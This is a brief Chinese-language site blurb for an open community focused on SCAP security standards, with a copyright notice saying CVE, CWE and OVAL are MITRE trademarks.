SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站